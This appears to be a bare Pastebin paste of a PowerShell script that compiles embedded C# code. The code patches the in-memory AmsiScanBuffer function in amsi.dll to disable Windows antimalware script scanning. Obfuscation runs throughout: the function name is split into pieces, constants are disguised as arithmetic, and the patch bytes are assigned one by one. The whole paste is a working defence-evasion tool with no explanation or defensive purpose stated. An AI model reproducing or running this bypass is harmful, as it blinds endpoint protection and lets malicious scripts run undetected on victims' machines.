Advertisement
Guest User

Untitled

a guest
Sep 20th, 2019
115
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.83 KB | None | 0 0
  1. $Assem = (
  2. "System, Version=4.0.0.0, Culture=neutral, PublickeyToken=b77a5c561934e089",
  3. "System.Runtime.InteropServices, Version=4.0.0.0, Culture=neutral, PublickeyToken=b03f5f7f11d50a3a"
  4. )
  5.  
  6. $Source = @"
  7. using System;
  8. using System.Runtime.InteropServices;
  9.  
  10. namespace Bypass
  11. {
  12. public class AMSI
  13. {
  14. [DllImport("kernel32")]
  15. public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
  16. [DllImport("kernel32")]
  17. public static extern IntPtr LoadLibrary(string name);
  18. [DllImport("kernel32")]
  19. public static extern IntPtr VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpfloldProtect);
  20.  
  21. [DllImport("kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
  22. static extern void MoveMemory(IntPtr dest, IntPtr src, int size);
  23. public static int Disable()
  24. {
  25. IntPtr TargetDLL = LoadLibrary("amsi.dll");
  26. IntPtr ASBPtr = GetProcAddress(TargetDLL, "Amsi" + "Scan" + "Buffer");
  27. UIntPtr dwSize = (UIntPtr)(10 + 10) - 10;
  28. uint Zero = (12 + 12) - 24;
  29. VirtualProtect(ASBPtr, dwSize, (64 + 64) - 64, out Zero);
  30. //Byte[] Patch = { 187, 82, 1, 6, 128, 190 };
  31. Byte[] Patch = new byte [6];
  32. Patch[0] = 187;
  33. Patch[1] = 82;
  34. Patch[2] = 1;
  35. Patch[3] = 6;
  36. Patch[4] = 128;
  37. Patch[5] = 190;
  38. IntPtr unmanagedPointer = Marshal.AllocHGlobal(6);
  39. Marshal.Copy(new byte[] { Patch[0],Patch[1],Patch[2],Patch[3],Patch[4],Patch[5]}, 0, unmanagedPointer, 6);
  40. MoveMemory(ASBPtr, unmanagedPointer, 6);
  41. return 0;
  42. }
  43.  
  44. }
  45. }
  46.  
  47.  
  48. "@
  49.  
  50. add-Type -ReferencedAssemblies $Assem -TypeDefinition $Source -Language CSharp
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement